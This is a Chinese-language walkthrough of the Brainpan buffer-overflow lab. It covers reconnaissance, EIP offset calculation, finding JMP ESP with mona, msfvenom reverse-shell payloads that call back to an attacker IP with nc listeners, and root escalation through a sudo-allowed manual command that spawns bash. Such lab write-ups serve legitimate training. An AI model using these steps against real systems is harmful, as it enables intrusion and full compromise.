信息收集
扫描网段
nmap -sP 192.168.20.0/24
输出结果:
Nmap scan report for 192.168.20.128
扫描端口
nmap -sV -p- 192.168.20.128
输出结果:
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
访问Web
http://192.168.20.128:9999/
输出结果:
一个登录系统,浏览器无法交互
连接端口
nc 192.168.20.128 9999
输出结果:
交互成功,需输入密码
再次访问Web
http://192.168.20.128:10000/
无可用信息
目录枚举
dirb http://192.168.20.128:10000/
输出结果:
http://192.168.20.128:10000/bin (CODE:301|SIZE:0)
http://192.168.20.128:10000/index.html (CODE:200|SIZE:215)
访问bin目录
http://192.168.20.128:10000/bin/
跳转,发现brainpan.exe程序
缓冲溢出
下载程序到windows10 32位虚拟机运行程序
运行程序
运行brainpan.exe
运行Immunity Debugger调试器
导入进程
File > Attach > "brainpan"进程 > Attach > 运行
漏洞检测
python生成脏数据
print('A' * 600)
kali使用nc连接win10
nc 192.168.20.131 9999
输出结果:
注入脏数据,程序崩溃
查看调试器
EIP寄存器被覆盖
定位eip寄存器
kali生成随机脏数据
msf-pattern_create -l 600
重启程序,再次注入
输出结果:
覆盖EIP:35724134
计算偏移量
msf-pattern_offset -l 600 -p 35724134
在524处开始,对应4Ar5
针对EIP使用python生成脏数据
print('A' * 524 + 'B' * 4 + 'C' * 22)
524个A,4个B,22个C
重启程序,再次注入
准确找到EIP位置,从524开始到528
测试能溢出多少数据
计划1000字符
print('A' * 524 + 'B' * 4 + 'C' * 72 + 'D' * 200 + 'E' * 200)
重启程序,再次注入
输出结果:
还可以注入472字节
识别坏字节
使用python脚本,注入坏字符
点击ESP的值>右键>Follow in Dump
输出结果:
从01到FF连续,无坏字符
定位JMP ESP
kali转换十六进制
msf-nasm_shell
jmp esp
FFE4
使用mona搜索整个程序的进程
先列出当前加载的所有模块,找所有安全机制都没有启动的模块,就是全为False
!mona modules
输出结果:brainpan.exe
使用mona的find在brainpan.exe查找十六进制FFE4
!mona find -s "xffxe4" -m "brainpan.exe"
输出结果:0x311712f3
CPU读取寄存器地址是倒着读的,所以写入的时候也要倒着写
在寄存器是从顶往底运行,十六进制要翻转
xf3x12x17x31
构建payload
kali使用msf生成反弹shell
使用-b参数过滤掉坏字符
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" EXITFUNC=thread
监听端口
nc -lnvvp 8888
修改脚本,运行脚本
反弹shell成功
将exp运行到靶机
收集系统类型
nmap -O 192.168.20.128
输出结果:
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
kali使用msf生成反弹shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00" -e x86/shikata_ga_nai
监听端口
nc -nlvvp 8888
修改脚本,运行脚本
反弹shell成功
提权
提高交互性
python -c "import pty;pty.spawn('/bin/bash')"
查看sudo
sudo -l
输出结果:
(root) NOPASSWD: /home/anansi/bin/anansi_util
免密使用
运行sudo命令
sudo /home/anansi/bin/anansi_util
输出结果:
需要添加参数
network
proclist
manual [command]
添加参数运行
sudo /home/anansi/bin/anansi_util network
无可利用
sudo /home/anansi/bin/anansi_util proclist
无可利用
sudo /home/anansi/bin/anansi_util manual
需添加参数
添加参数
sudo /home/anansi/bin/anansi_util manual ls
此时应该是以root身份读取ls的手册,那么如果在此处启动一个bash,应该也是root的session
!/bin/bash
提权成功
原文始发于微信公众号(泷羽Sec-Ceo):Brainpan从缓冲区溢出到提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论